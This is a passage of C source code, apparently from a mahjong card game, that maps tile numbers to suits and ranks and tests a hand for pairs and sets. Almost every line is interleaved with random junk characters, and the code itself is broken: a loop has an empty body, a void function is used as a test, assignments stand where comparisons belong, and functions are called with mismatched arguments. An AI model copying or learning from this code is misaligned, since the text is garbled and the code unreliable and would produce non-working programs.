else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
6 \: r! C4 @. l! V: s; @+ elogoo=4;
" |) F1 `' i2 r4 z* Qelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
3 J5 X: R4 F  x  X" s2 jlogoo=5;
; }+ N$ P# `/ e& v% Velse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
+ K) K1 p( E0 _: B6 O7 z2 ^# ilogoo=6;
, t1 v6 {. P+ ?else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
6 T/ {' _9 P) |5 x2 l  Xlogoo=7;
" E% c- F5 i2 F- R. Aelse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)1 N' {* u! g9 L$ R6 g5 w
logoo=8;; q: a; ^; V4 w% a( n& ^( M
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
0 T, i8 S) a' B* R  klogoo=9;+ `4 c- L, x" p
}- `$ D, r. _, [# w+ [# P: z
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
( b6 A/ t5 g  `# O{
% P# Z4 L+ p* S2 Q  V4 I3 hlogo=3;2 A4 o. L- e# w, S$ E, L
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
2 E3 e3 ^. V' D9 J" }( Alogoo=1;5 ]2 u* R% e  s
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
/ ]" ?% n4 V' Rlogoo=2;: Y5 o  p. E, v% B" d' b/ x3 j
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)  [" {! m! e* k. T& c. l3 M
logoo=3;' {! L0 }$ N7 p2 Z- A
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)* t6 y5 Q, W( U7 q
logoo=4;
9 t  g" n) p$ h9 yelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)' A( C$ d  b) C$ }
logoo=5;
  }4 _% D9 e9 g* [# B' P* ?else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
/ L; _* L& L% r( Tlogoo=6;9 A* L8 l! Z' o
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
% L1 P) J- k2 m1 H: \logoo=7;" H( ?' ^) [3 l2 Q# n
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
$ N3 t' x; e" V3 Q+ N! b8 X1 ~( zlogoo=8;
5 z& q& Q' K. t1 `. Y+ h5 }  Celse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
% m, D4 C/ c5 Zlogoo=9;
( v- p+ R' |5 j) j$ o}
0 c- X0 c7 I9 Z: F  Z9 Gelse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)8 k: f+ r2 }/ Z( u- |) N
{
# K- Q0 r2 T6 b, H$ Y& j. nlogo=4;
2 {9 ]& V4 E" q8 O3 [2 }if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
% v9 E1 {# I0 i: Q3 P1 f$ T5 xlogoo=1;
! N2 l" w2 R& ?else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
1 c$ B  {( T6 g* O4 w! i/ clogoo=2;: d! j: s+ {& ^
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)# u- d" z1 I+ H* t9 b# r
logoo=3;; h1 N( X8 c) E3 h9 l; G
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)# Y5 i) i; |( c! X! h) ]
logoo=4;/ y! Y% _4 X1 h2 ^4 [
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
- a1 ^- _" d& u" o* K3 Ulogoo=5;) t6 `0 t' j# y! j8 P' F
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)7 p  R5 B" d0 z+ t. c2 O
logoo=6;' [; `9 h$ u9 a6 i/ n6 l# b2 Y
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)+ W+ v, \3 t" @5 ]8 [/ M. P
logoo=7;
4 B& k& v: Q2 p2 F; [3 `}
' g% l$ ^7 w5 Q  B5 \while(b&lt;=me.m)( V# a% u8 X+ V  Y" r; i/ m6 H
{0 x  w2 V- p& v9 {( c- }" C! B
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/7 S% r8 o4 o9 i/ A' p% M
{* o) E8 n4 A* {6 |
lg=1;
' b, m) \9 C. [9 b9 wme.pp.d[0]=1;; s& i; H& J5 z9 I/ S" C2 ?% e
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
( u" `1 _) |. K! B& |{
2 c* A7 t9 ^7 m& t& h( \  y' Olgg=1;
* A  J. Y" {1 vme.pp.d[1]=1;5 G4 }# x! y  w7 o# s/ Z
}$ b6 A1 U9 Z  n2 e# X/ x/ B: b1 t
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)0 q; q% l; `# J, S3 x5 A
{
6 ^7 X8 Y* m/ klgg=2;3 n+ R' n& z# e: c, _2 M* L3 {
me.pp.d[1]=2;
6 K) ?" I+ h: S+ l1 d/ F}9 ^# V& q1 U; M7 c. Y
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
# g" p& ^+ j+ s6 H% X{7 l# Y0 g' s: i6 e9 O0 H2 \
lgg=3;
8 K/ J7 D  k6 ^* {0 Z; o6 s9 Tme.pp.d[1]=3;6 Z# ^% r/ \$ v4 a, D
}8 G  m8 b/ Z! ^& l! o' H
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
' T" A% K- i+ w% U{
3 y. n6 @7 U2 [0 g, `+ G: Jlgg=4;
% z# F, _0 [6 M1 ]/ G( Jme.pp.d[1]=4;
8 D, r$ h5 J( {}
5 P5 p- ]1 F, delse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
5 M: x7 R* F  X4 e$ z{
5 J1 o$ \) {8 ^2 |) t( F: ?  d5 klgg=5;5 c4 [: ~$ s6 @5 K
me.pp.d[1]=5;
: E, `7 D2 K( s1 k# Z8 {}
" a7 b/ ^7 l$ C. [2 q/ b& Qelse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)! @5 Y5 ~8 f/ a3 ^- F: @4 V- u
{: z; j; A4 u! s2 b6 ]
lgg=6;
: p' |# [' g1 t% K9 o  Nme.pp.d[1]=6;
7 ?" A+ h5 S0 M( {' V1 S}& b- p: L* e$ k8 f4 z
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
, G# D' t  o3 ~" e: z$ N{
3 Z8 W3 u2 e% ], d' a! n9 u7 ylgg=7;
- X- S( I) n# D1 {) v5 Cme.pp.d[1]=7;* f8 [% J5 l' ]9 p8 i4 |& x' H% m
}
7 _/ F5 a8 l$ r2 S; K6 F( w2 yelse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
& m' B1 `. L$ `/ ]{- A1 k/ X4 b# V. p2 d) z7 o9 U
lgg=8;  j$ r8 V, G1 G
me.pp.d[1]=8;
8 G2 f2 t3 |) I( i5 J4 l) y}3 C( W# l" G# s) w
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
. ?1 A  ^. P# E& c: G4 i7 d{
9 ~3 W% b2 N% _0 Olgg=9;
* s+ L8 s2 Y/ m; A, ^0 `8 e( Y0 K8 zme.pp.d[1]=9;8 s' l. I2 j& K3 z+ T
}
; l+ ~3 G5 s9 h4 D, z}
% f+ [8 J2 d6 Kelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)/ B% Y7 X: K% s1 ~* z# t
{
  h5 B3 {4 i; ~6 t0 H! llg=2;; R7 B, h5 r4 v2 c7 d0 H7 d
me.pp.d[0]=2;# V; Z1 l3 M  l% V7 N. r
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)5 n/ {4 @( c1 E% V$ ?% E0 u' k
{
1 `( L2 t6 ^! i3 V6 C* I. Rlgg=1;: e; _' |4 H3 M4 V3 T: h) b, D
me.pp.d[1]=1;8 U+ ?7 s) b, }( ]7 \" A
}1 `% Q+ D6 Y8 W9 h- ^
else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
- M2 l# I, `7 _2 Q2 M& X" r' w2 g{
5 v, M" I) B! @/ Q" s) W) M7 llgg=2;
* K0 y9 O4 C9 S" N4 H6 bme.pp.d[1]=2;
9 X" A) l, W8 o}
- N5 m& j: y( R" I* @( }+ u2 Uelse if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
6 j( D% E: R0 g$ K& T, K! K" S{
* ?  K! v: q( W5 B0 J* Dlgg=3;0 q6 Y5 l& b. }6 s, p& z
me.pp.d[1]=3;
* r& y& @* Y) }}
. V" `& K. ^4 U1 ]* Y. ?" b# Kelse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)$ z  P" o/ W6 \: h- n. P
{: s! M2 U* U6 Z4 Q
lgg=4;
& h% Y% y6 J. V  R5 B0 Jme.pp.d[1]=4;
. V- I8 l+ B7 H8 J}
  Y# R( s9 ^, E$ X. L, s% M; {8 Jelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
! I- |1 P, J0 S1 i{. A+ ^1 g. |6 U. Q6 F
lgg=5;3 g) |, z3 X$ _6 y. B6 ?1 U
me.pp.d[1]=5;% ^" A$ s% N' A- Q
}
8 y+ g& Z0 P6 G, v/ K4 _# _0 Relse if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)4 x& o9 C/ V) |; M
{
) N  m. x6 F+ _, Z. |$ ]2 ?" Mlgg=6;
: N: u0 ]8 H9 H- q- Xme.pp.d[1]=6;! |) d- Q. V( H
}3 T2 G! g/ e( W. b& x" F4 T
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)9 F7 K, C3 [. L& F# w- x
{
. z" g* T& b- qlgg=7;
# H( R  U: ?/ K. J  wme.pp.d[1]=7;" O  r( {  @8 D" O1 c
}
8 N, ], e( e5 i/ Q" n6 Zelse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)" W# R% W: e; O8 k: P7 o+ N
{. r$ }) n# O2 r( a
lgg=8;/ z7 Z3 j6 a- H$ ^2 V
me.pp.d[1]=8;7 ]$ W' F3 ?0 R6 d: u- I# g
}
! B' o& c- F' l' p; Yelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)5 c& ?0 t+ j6 r2 {
{
+ j" Z, D! P6 ~+ Qlgg=9;
3 V# N% ]/ h* K+ vme.pp.d[1]=9;
7 [* l! V8 U! D' o}
" {, Q* {. @7 a( {( G}, Z0 m8 S- t0 D- V
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)9 w; h; J# B3 `9 J! w" Q, `+ t* K$ K
{
) i  ]5 y1 ?0 |lg=3;6 ]! G: _  g* q8 c, }6 g7 O- I
me.pp.d[0]=3;& D/ C  {3 v/ E: t1 G; p
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)' v5 A+ P/ q; A( I0 t
{
2 D' L; i3 X  M$ L/ r3 Olgg=1;
; {, l7 u& p; y2 |2 Eme.pp.d[1]=1;
; ^5 }0 {, A; H}, y' _8 H7 i- i# f
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)2 `0 f' u$ l" K. f* |9 ?# C; O
{
. I6 J* E' q. b! ?2 Q! d2 d: {lgg=2;* D! M; N) t/ e" o- G
me.pp.d[1]=2;+ ^* a* Z, G% D0 _- e" A' B0 e
}8 k) M& l% N( h/ m) {
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
/ c  W8 F" F5 e{" D; r" E3 V/ {: V2 A
lgg=3;
/ M$ H9 `+ L6 z- F2 _4 pme.pp.d[1]=3;$ H. w7 {/ n. s
}
& W/ T# g9 s4 {" e/ E1 T4 kelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
" ^4 V9 D4 l0 r8 [& t* o1 h% I/ J{
. t  @9 ~/ t2 X% g: X, Dlgg=4;* k# k/ [; B3 z* Z6 [
me.pp.d[1]=4;
( V! `$ J( p. i. L1 v}& Y% X1 C) v. v% _# f- G: n
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)5 Y2 v8 U' E5 o; ?8 H# b1 G
{8 E* C. H  j: g3 g, ?
lgg=5;
9 d# o; B: s7 ]+ x# K0 qme.pp.d[1]=5;3 L5 v6 d! t( J) h
}; Y7 Z( a+ ?4 L& M7 s, J
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)8 R4 V/ X1 q8 [. f. [' j3 e
{
, E- C2 H; @- flgg=6;  J+ V/ F- K1 Y2 B' q
me.pp.d[1]=6;
  f9 ]6 D% S. p9 H: R" B; O}
0 K: L. }. V; z7 yelse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
# e" A* d9 ]* f& n9 j{
; Y; Z7 N( }3 W* R9 hlgg=7;
- f) Q( }/ \  @- T7 }me.pp.d[1]=7;' J7 c0 ~! W; ~1 \* ~
}/ g( C0 s% G. X
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
8 Y! B% s3 r# o3 r! G{
8 p8 k7 `" h3 T4 k( e1 g! ]lgg=8;
3 s3 i5 A8 U; R* R" [  q7 C# Fme.pp.d[1]=8;
. x1 ]3 a# z, C}
% P* \# x# r( M$ |& {/ m! Relse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)! N1 `7 ?  y7 C& k- Y" ^$ Z
{
# h0 ~- J8 \9 plgg=9;( Z( n0 F6 K7 _
me.pp.d[1]=9;
( C3 ]6 ]" a$ I& X/ c- f. Q6 g}4 W* M" B( I; K& G: q
}, q* S* p9 e0 X5 W, p5 g2 R
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)2 N+ m7 g* s0 L  d
{
5 k7 [& S- u6 h( ~2 Ulg=4;
8 Y% u' s  N2 u0 v4 r% `me.pp.d[0]=4;$ |% P; h$ d0 U% [
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
* W7 w/ L/ ?* D; p{5 L# n3 n: m8 E1 ^+ }
lgg=1;6 P3 u1 F8 E' _7 D
me.pp.d[1]=1;  R/ [7 c3 I8 @, c; M
}
, c0 I5 c7 ]& K+ |  delse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112). k0 t3 ^4 E5 {# {2 d- g2 E5 G
{! q$ p4 y6 V% K. j) H
lgg=2;
1 u- s3 T+ W6 zme.pp.d[1]=2;$ {) O6 M2 r9 o& R; y
}
9 {) @' X) m( d5 celse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)1 O6 _/ g7 u- t! S3 [
{( W8 D7 u/ l+ }4 d6 X- y
lgg=3;
- Z2 C9 h* j% l, Bme.pp.d[1]=3;! }" D+ |1 ~- G
}
7 H0 c9 M" u; |/ ]else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)' N* `# k8 J8 x
{
8 T; c  f3 C9 }8 P- l  j$ Z8 S8 w: algg=4;0 L/ p5 P8 Q8 C* K1 }
me.pp.d[1]=4;4 R$ j8 \2 l% e* e, e) p% L
}
' R$ H2 f3 _! B/ s$ pelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)# E9 T' V: A2 P+ {2 C$ j( i. ^: z* }
{
7 c, o6 ^, [0 v1 Xlgg=5;
( o5 e4 B5 y/ j4 Q2 J9 zme.pp.d[1]=5;; _% O5 w" E% q; Z# W* H0 `
}+ |* {0 i% n/ S! g$ E5 Z6 _
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
  e/ b/ A! {8 d* ]: i{
( @: |6 c% T) v+ d4 l% Klgg=6;% n! \- }0 x) P9 k
me.pp.d[1]=6;
8 w5 q0 d# Y+ ?3 `}% e' C) S% T; x: k8 F; Y0 K) |
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)5 O. Z& l1 F- @: P! N/ ?
{( E* j: l. E* f7 C+ q+ ?. }
lgg=7;
4 b1 @5 [  P' g; L6 F3 Q' }me.pp.d[1]=7;! ?$ o% \8 t5 B# w) c' o: `" u
}
% e& A4 w( b& T4 C9 h$ f}8 W( l2 }: W: g. ~0 O6 W3 J8 a
}3 l) c+ u% B. H' _; i# V  q
}
: L  A/ i! M% m; qvoid istwo(testt)- X) F0 Z% L" i6 Q" q3 ^
int testt[];0 S) S3 }4 H2 Z  [  H1 R/ G. U
{ if(testt[0]==testt[1])
& n6 N. y4 x. f2 f3 T# {9 `second++;: d1 Y5 T* E2 Q( W  }8 ]
}
# X6 y3 ?/ b( N/ p" @/ ovoid isthree(testt,n)/ c4 T( r+ [6 T
int testt[],n=0;' |4 d& {) s3 Q' w& w0 U; S+ ^
{ int i,j,flage=0,lianx=0,same=0;
6 A1 }- P! X3 Wn=n/3;
$ W  Q& _7 Z, @+ y2 vfor(j=0;j&lt;n;j++)# ]5 ^4 Q) I  B9 r* I( P% @
{. E2 L8 W% D$ q; H( z
for(i=j*3;i&lt;2+j*3;i++)( F4 E7 p* D8 x) k% Y6 M% G* K* Z1 }
{
; C- ~* y: Y: \+ B$ l, x  ~5 v* e! {% Jif(testt==testt[i+1])
5 F- l, z# }& @: a9 W' }5 k" x' \same++;# v1 w. f: F7 S8 F, e! X
if(testt[i+1]-testt==1)
  a  y. e: Z- l  d2 plianx++;
/ o1 `! e2 a; h3 r0 p4 d4 c}
' G  P9 Y' F# I2 }0 Vif(same==2)$ E% e* `% `* ~, }  d
threes++;6 w( y' \" v, W% E+ s, y. q
if(lianx==2)" Z0 M  C6 d2 X; s. F
threes++;
! `/ ?- z. e& [% z5 Fsame=0;
  W" g- i- O, {$ ?3 n! g; X6 Xlianx=0;
. Y$ ^/ a- G5 O2 g  k8 r: [' h}) Z$ n! N9 k  z1 S( v8 q. m
}3 N" ?+ S: p7 A
void panduan() /*本程序的精髓*/
$ D' X+ P! w5 c! H) _# G' F{int data[14];5 [, M( {- v0 O3 Z
int pw[14];* V: k1 h! v; X4 T  v" K, g1 P. a1 p
int pt[14];# P  z" }" H; `+ H2 {. k% K5 G/ a# R
int pi[14];  s6 s7 E* r3 K( t
int pf[14];9 }2 F0 H& {) W! ?1 r! G& _
int test[12];, Z  O& t% m7 |$ f* w
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;9 V) |2 Q1 a5 G" w* R1 N% ]
for(jj=0;jj&lt;=me.m;jj++)
2 E2 F+ l( P/ A. I4 G1 q" H{. c2 h. _, ^+ y' ~. M! X2 ~
if(me.pp[jj].d[0]==1)0 z! z, M" s/ f' N# m3 f
data[jj]=me.pp[jj].d[1];
+ r% u  D. y5 e! X, x) [9 F, u, X3 {if(me.pp[jj].d[0]==2)
, p/ Y* I, B- m  P9 t$ `( P% rdata[jj]=me.pp[jj].d[1]+10;
$ c, U1 _$ G3 tif(me.pp[jj].d[0]==3)
  {9 s4 E3 u- I) k8 Rdata[jj]=me.pp[jj].d[1]+20;0 L0 A3 r( E" ~, i
if(me.pp[jj].d[0]==4)
$ ]- a* X' P/ @  L6 }data[jj]=me.pp[jj].d[1]+30;. L7 G2 u( D( X6 ^
}
+ f0 C5 Y* a# h1 O. Fif(logo==2)
/ ^. T2 W. }, R% {4 ~w=logoo+10;3 c$ r1 h4 x& S% V( {9 J
if(logo==3)
. V! g. v6 l* k9 d! Zw=logoo+20;
/ |* |- `7 }6 ^- |8 Xif(logo==4)
- }+ ~$ R) X) `0 d5 X7 ^/ U, A/ yw=logoo+30;1 l  |, m4 K* {# X: B. D* w  b
data[computer.m+1]=w;
) G+ a9 n' l& Y/ Nfor(mm=0;mm&lt;=computer.m;mm++)8 p! L5 E! Z5 y3 Z- K' m2 P
for(nn=mm;nn&lt;=computer.m;nn++)
" t; l' l% H  D3 d1 A1 R! ?0 k3 B2 G, Tif(data[mm]&gt;data[nn+1])6 ~- U: p1 O+ I- _& l; E
{
5 s' K$ V% Y/ C0 E9 Ltpp=data[mm];3 \; A& a/ p5 v5 G
data[mm]=data[nn+1];
% D* A$ j* \$ R- G5 v8 s0 I" x4 ~data[nn+1]=tpp;
- z% E1 `1 [6 `; r% b! Q}5 o7 }/ E( }$ A0 B0 i; G
lp=0;2 h+ W* x  v4 I
while(lp&lt;=computer.m)8 _" w7 d# d" G( s1 x5 l
{ if(data[lp]&lt;10)! X( |  D8 h# L* l! d
pw[ww++]=data[lp];
4 n( I- r- J* \if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)% h3 R; v6 z$ s2 ]
pt[tt++]=data[lp];
/ Y5 s+ @2 ?, e5 m. rif(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)9 v2 K" J8 Z5 s" c8 S
pi[ii++]=data[lp];
' y* \! X" h8 o. S: A: Pif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
" T; U0 ]0 q( C: O9 Wpf[ff++]=data[lp];
* h& U. }4 ?. L7 s# alp++;6 S6 w% v7 T& T
}
9 b# d& h- V- v6 f7 I; |if(ww==2)
' m8 |! X$ r7 \* N  jistwo(pw);
! {. j. X& I8 P, ^  ~0 d5 O4 Uelse if(ww==3)
! Y& P& q& a( ~3 H0 f! Zisthree(pw,ww);' V/ K& N3 A/ M* V8 n
else if(ww==5)7 H6 |% X( ]7 }1 O, r
/*pw[5]原始牌数组,假设已经升序排列*/6 r- ~; l+ k/ @, v  B0 ^" f3 M
/*test[3]用来放置测试牌的数组*/
: v: B! O: |& b* `$ s$ efor(i=0;i&lt;4;i++)/ F' H3 k* X  k( s$ R
{% B) N0 X/ |. Y- ^# w" s9 v
for(j=0;j&lt;2;j++)
3 \- P: r5 t/ u$ Y' @9 _6 H{test[j]=pw[i+j];7 f9 h3 Z; {* ]9 T) n& W5 z
}3 L) A+ U0 ?9 Y( k
if(istwo(test))
1 F& Z+ e. @- h7 P& K{ ill=0;, J/ I6 c6 R- I7 F. q
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/; l6 A8 H4 b3 L
{if(kl==i), w  N5 ~9 D  g4 X* i
{3 A5 r1 y6 G; f0 O/ Q; b  ?+ V8 H6 s
kl=kl+2;
, w( ^+ ]8 L* V; c( w/ T- G: s( z5 K/ \if(kl==5)2 S  z3 F% _) Y2 T
break;8 M: C# m! l( E3 [* ~2 e
}% V8 H) _9 F: x
test[ill++]=pw[kl];
- T7 |, `& A+ v1 |. Q8 T7 E. {: Y}: c6 q$ z& y0 y, r3 o1 h( N
isthree(test);! z# H2 j- x) q3 D& l, d
}$ x* s3 {5 F1 x; C3 C
}( f$ J' J+ ]8 u6 n
else if(ww==6)
$ c7 \8 P2 P( f: [isthree(pw,ww); % O2 p, |2 g0 X6 `9 {0 y, w) e
else if(ww==8)* h, p! s( t% e. [3 Y/ C$ d
for(i=0;i&lt;7;i++): ]3 E1 \5 I$ z3 H; \
{
" _4 \* T# }6 f- \for(j=0;j&lt;2;j++)
  `& k/ q3 e9 |# S" v# i8 S! a{test[j]=pw[i+j];
  p8 p4 u  b% E9 v: Z' p$ O- t}2 ~0 J& U- d9 p1 X; k
if(istwo(test)): K. G. V& a: z4 q3 V5 a
{ ill=0;
  {% k' ]/ ?; N7 rfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/. E( @; m# c: `/ M$ v
{if(kl==i)
4 v2 j3 V/ E' Q) l1 T{# v3 K/ T- i+ j2 t
kl=kl+2;
. _4 K2 }; [8 @' H* [if(kl==8)
( X: p' ]+ t" }! kbreak;* J9 S) e* V5 V5 z1 Y( e6 V9 W/ n
}" l0 s  O9 e  I% @+ J0 u  C9 C
test[ill++]=pw[kl];$ h& Q1 d  k# A1 h  Y
}6 {/ v7 s9 {4 w$ P- d
isthree(test,ww-2); * u3 a" a1 L9 J) L* U& R, W
}
8 _  U2 c0 W6 _3 [  v} 4 K/ O, s7 z( {
else if(ww==9)
5 D) C- ?0 q2 ^. \5 Jisthree(pw,ww);% H5 @9 b% m* X$ x1 a
else if(ww==11)5 R2 J: J8 X6 V- m# Q
for(i=0;i&lt;10;i++)
: E+ X( ^: ?; \  n. u: Z{# `# c- E7 w* Y3 K
for(j=0;j&lt;2;j++)
% g  |) B; z4 r; y  o; Y2 X6 K{test[j]=pw[i+j];   p- g5 M6 m6 L) I& J) i/ R- [
}
& h7 ?: X- ~7 W7 Gif(istwo(test)): w# u5 k4 B# e2 b6 S8 x
{ ill=0;
1 w  ]+ z( A# ^& h! {% u3 Y* gfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
. S' c3 c* r/ T6 T{if(kl==i)" V6 s, X0 s8 c6 y( d- T
{
! e  X+ G2 P* y0 Q2 }& d6 Tkl=kl+2;% I" H4 p5 r/ Z0 G+ x& \1 O' t  o
if(kl==11)/ E. H  Y+ S5 s  t" ]) ]
break;' J/ [) R2 p3 m6 j% `
}
) v4 |0 T9 j9 {; `: m8 I9 vtest[ill++]=pw[kl];: v. w4 ?, Z# D. X' b) S' x8 b2 I
}
8 I$ d, A" S9 |* tisthree(test,ww-2);
+ o2 H* M) g3 p4 m9 h. Y: y& p}0 y( T) p$ Z; X! J9 E% F" [: n
} - \9 ~) m9 m8 F. W
else if(ww=12)' J7 P( {: ^# F8 s6 l4 T
isthree(pw,ww);, V4 Y- s* ~# o$ x! S7 i% b4 i
else if(ww=14)5 y9 x' ^( O; l% h7 z* r
for(i=0;i&lt;13;i++)9 q5 z* p) h7 e4 p! j
{
6 H. C' i! J# S. s. I+ Hfor(j=0;j&lt;2;j++)2 _( g4 b2 X& W' [* m# ?
{test[j]=pw[i+j];- {$ i0 C1 v) e- D6 f+ t- h
}/ a3 f% C# C4 F) A
if(istwo(test)): y2 l; y; F9 [% I% i  o& A
{ ill=0;
. \- w/ A9 b# Q& m: G, {) |# kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 G0 F! Y- Z- V- b; ~, G{if(kl==i)
. q! a( L; B" `" y  [: M# Q2 w{, S) u7 K8 {# j% A( K
kl=kl+2;: V, h' R7 v' s
if(kl==14)9 u$ l1 J3 y# }3 C- z6 V$ B- ]
break;
* U9 O& {% o- R/ J/ l/ k}4 L7 q5 p- W5 j8 J. g
test[ill++]=pw[kl];
7 ~' \  ]$ \: c& E! d}& g' q/ T6 Q/ g/ F1 i
isthree(test,ww-2); / [  S/ A3 `( u9 N
}
6 c" Y5 G" j. _}
7 ?2 F) f2 e. x8 v2 lif(tt==2)
" }$ D+ k' U& F7 bistwo(pt);$ H6 f6 }4 \9 s# c+ m
else if(tt==3)
* A# V& E8 f6 p$ Y+ N# T1 [isthree(pt,tt);
  U; g2 e+ W; Telse if(tt==5)2 ^; i( q" e2 e9 Q$ Q/ H
/*pt[5]原始牌数组,假设已经升序排列*/! a5 F% o! \/ N+ q
/*test[3]用来放置测试牌的数组*/
( k/ w) M3 G( b" x6 q; Q7 Qfor(i=0;i&lt;4;i++)6 r3 G2 e0 e: B9 p
{( Q# Y* L1 A9 c) K7 |
for(j=0;j&lt;2;j++)
5 n6 J: `8 p+ E* m3 z{test[j]=pt[i+j]; - ?4 l1 {! g$ s( y1 M% L
}
5 s4 I1 Q' M! Q, q! A; bif(istwo(test))
2 M4 N/ C0 U6 u: M1 p1 N5 x{ ill=0;: J7 L( K9 h0 I9 j
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" s/ h; k  \# D/ d% m6 Z# L' \
{if(kl==i)" B$ G( j: y% `+ {, ~
{. f* y+ ]7 u$ `0 f3 ]
kl=kl+2;
7 O6 |% o$ R4 S' dif(kl==5)
9 `" X! p% y: a/ o. K3 tbreak;
- ]$ q6 Y2 ]6 D: I}
6 k7 b& o6 [# q7 [( }test[ill++]=pt[kl];
3 C/ }4 Q- T1 m' h}
$ [+ I" l" [1 x; \! L( qisthree(test);
- E2 S3 U& |. _8 |. J8 b: Y1 l}
1 s+ c+ j# z/ u. t( X' e8 Y}
0 q8 B$ q% v0 U7 D7 f3 A  ?else if(tt==6)
, A' b6 h5 x9 R2 d* Histhree(pt,tt);
) ~& C( T) A1 @1 X( z: Zelse if(tt==8)3 h. A! m3 A2 o/ c, D( j
for(i=0;i&lt;7;i++)) y! G6 D+ ~1 G# P& t; n* N9 T
{' k6 @5 N  e% j/ Z" t: L
for(j=0;j&lt;2;j++)
$ G  l( E, v+ |9 v4 g/ S{test[j]=pt[i+j]; , @* |9 Z/ X' M! d
}! W7 M: a- w# K2 n
if(istwo(test))
- v7 A) Y. @. E( ]- i{ ill=0;4 r6 q! y0 [3 s! `- ]
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
8 N; p% S+ M  a) H+ n4 X4 x{if(kl==i)
5 _, n% F* z9 m2 n{1 {; X4 o5 k- N6 U
kl=kl+2;
8 R% V, z! N; \, @; W$ I+ |if(kl==8)
( N1 ^, }  `0 S& V1 A2 qbreak;
7 G7 d0 M( u$ C( P% m. N/ h}8 \, U0 U- \) q0 |. M
test[ill++]=pt[kl];
8 z2 n& X# A1 w# c}
